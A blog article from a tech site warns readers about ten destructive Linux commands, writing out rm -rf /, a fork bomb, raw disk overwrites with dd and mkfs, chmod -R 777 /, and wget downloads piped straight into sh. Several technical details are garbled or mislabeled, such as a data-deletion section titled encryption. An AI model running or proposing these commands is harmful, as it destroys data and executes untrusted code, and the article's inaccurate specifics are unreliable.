• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

10 Dangerous Linux Commands You Shouldn’t Test

AnonyViet by AnonyViet
January 25, 2023
in Network
0

Linux operating system for users is more independent than Windows or any other operating system. Although for some experienced developers, the operating system Linux giving users more freedom to perform operations, but it is equally dangerous. Although every technology has its own pros and cons. But the most important thing is that the user must understand the command before executing. So in this article, I will list 10 deadly Linux commands that you should never run.

Join the channel Telegram of the AnonyViet 👉 Link 👈

10 Deadly Linux Commands You Should Never Run

10 Deadly Linux Commands You Should Never Run

1. Recursive delete

One of the fastest ways to delete a folder and its contents is to use the command rm -rf. This command will wipe everything in the file, folder, or hard drive on which the command is running. I will break down the command to make it easier to understand:

rm – Delete all files in the given location

-rf – This command is split into two parts: r and f. r allows you to delete all files recursively while f means delete all files without prompting the user.

There are several variations of this command out there, but what they all have in common is that they will wipe out any data on the directory the command is running in. The data lost from this command cannot be recovered in any way.

  • rm – This command is used to delete all files in the path that you will provide
  • rm -r – This command is used to remove files recursively from all directories and subdirectories in Linux Operating System.
  • rm -f – This command is used to delete files on the provided path without prompting the user. Including deleting “Read Only Files”.
  • rm -rf / – This is one of the most dangerous commands because / is the root directory of the operating system. When this command is run, it will recursively delete all the contents of the root directory. As such, all your folders and subfolders will be deleted and data will be lost.
  • rm -rf * – This command deletes all data in the working directory
  • rm -rf. – This command deletes files in the current working directory as well as subdirectories. It also deletes all configuration files in the directory.

2. Fork Bomb

This is a simple bash function that, once executed, creates copies of itself. Thus, consuming CPU time and memory resources. This command will run recursively until the system freezes.

:(){:|:&};:

3. Overwrite the hard drive

If you execute the command below on your hard drive, then data recovery is completely impossible.

command > dev/sda

This command writes the raw data to the hard drive you want. This leads to data loss in the hard drive or partition in the command. I will break down the command to make it easier to understand.

command – This can be any command entered by the user > – Responsible for sending the output of the command to the entered location dev/sda – The output of the command will be written to this location. So be careful when using a command with a hard drive location such as dev/sda.

4. Hard Drive Encryption

In every Linux system, dev/null is a special place like a black hole. Anything that moves to this black hole is destroyed. If you accidentally move your data into this folder, your data will not be restored.

mv /home/root/*  dev/null

The above command will move all data in home/root directory into dev/null, resulting in data loss. I will break down the command to make it easier to understand.

mv – This command is used to move a directory to another location

/home/root/ * – This is the location of the directory to be moved

dev/null – A special place like a black hole

So you should be careful while running this command.

5. Download malicious scripts

We are all aware of the benefits of the “wget” command in Linux but what we do not know is that it can download malicious scripts and viruses as well as beneficial software. If you happen to run one of the following commands, then you should be careful.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

The above commands download the content from the provided URL and run the downloaded script.

6. Format the hard drive

There is another command to erase your hard drive and reformat it. But this command should only be used in case you have backed up your data in the cloud or an external device.

mkfs.ext3 /dev/sda

Running this command is like formatting drive C in windows, in that all files will be wiped from the drive. To make it easier for you to understand, let’s break this command down.

mkfs.ext3 - Tạo ra một hệ thống tệp ext3 mới trên ổ cứng.
dev/sda - Chỉ định phân vùng đầu tiên trên ổ cứng.

When this command is executed, it will format the specified partition on the hard drive in ext3.

7. Write file content

The command to delete file contents is an easy command and can be executed under any circumstances.

>file

Operator > redirect the output to a file and overwrite the contents of that file. Eg:

echo "first statement" > file1.txt

The above command will write the words first statement into file file1.txt.

8. Edit the previous command

This command is a double-edged sword. While it saves you from having to retype all previous commands and makes it easier to execute it, it can also inject malicious content into your previously run command. Therefore, you should consider using this command.

^foo^bar

9. Write random data to the hard drive

If you have ever come across the below command, congratulations, you may have also seen random data written to your hard drive if you are crazy enough to execute this command. The consequence of this command is that your system will not be restored.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777 /

This command does not physically affect your system like all other commands but it leads to a security breach on the system. By executing this command, you are giving all users of the system the ability to read, write, and execute data on your file system. Therefore, use this command wisely.

I hope these deadly linux commands will save you from losing your data. In addition, you can also see more dangerous cmd commands here.

The article achieved: 5/5 – (100 votes)

Tags: commandsDangerousLinuxShouldntTest
Previous Post

How to protect Website copyright with DMCA – Pro upgrade coupon 50% off

Next Post

Lesson 277: Calculate the correlation coefficient in Excel

AnonyViet

AnonyViet

Related Posts

Script backup database and website on telegram
Network

Script backup database and website on telegram

May 2, 2025
Create 64GB RAM 16 core for free on Google IDX
Network

Create 64GB RAM 16 core for free on Google IDX

April 13, 2025
What is VPS running Vietnamese software? What is the reason for installing Vietnamese software on VPS?
Network

What is VPS running Vietnamese software? What is the reason for installing Vietnamese software on VPS?

February 17, 2025
Create Ronin wallet to play pixels on VPS Windows
Network

Create Ronin wallet to play pixels on VPS Windows

February 17, 2025
What is Proxy Gradient Network? Instructions for using Proxy to suspend multiple Gradient accounts
Network

What is Proxy Gradient Network? Instructions for using Proxy to suspend multiple Gradient accounts

December 26, 2024
How to buy a .news domain for free for 0 VND at Namecheap
Network

How to buy a .news domain for free for 0 VND at Namecheap

December 22, 2024
Next Post
Lesson 277: Calculate the correlation coefficient in Excel

Lesson 277: Calculate the correlation coefficient in Excel

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Guide to comment on the constitution amendment on VNEID

Guide to comment on the constitution amendment on VNEID

May 21, 2025
Tips to fix the file is open in another program

Tips to fix the file is open in another program

May 21, 2025
7 ways to release RAM to accelerate your Windows computer

7 ways to release RAM to accelerate your Windows computer

May 21, 2025
Discover Supermix – Smart playlist on YouTube Music

Discover Supermix – Smart playlist on YouTube Music

May 20, 2025
Guide to comment on the constitution amendment on VNEID

Guide to comment on the constitution amendment on VNEID

May 21, 2025
Tips to fix the file is open in another program

Tips to fix the file is open in another program

May 21, 2025
7 ways to release RAM to accelerate your Windows computer

7 ways to release RAM to accelerate your Windows computer

May 21, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Guide to comment on the constitution amendment on VNEID

Guide to comment on the constitution amendment on VNEID

May 21, 2025
Tips to fix the file is open in another program

Tips to fix the file is open in another program

May 21, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET bongdaso

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET bongdaso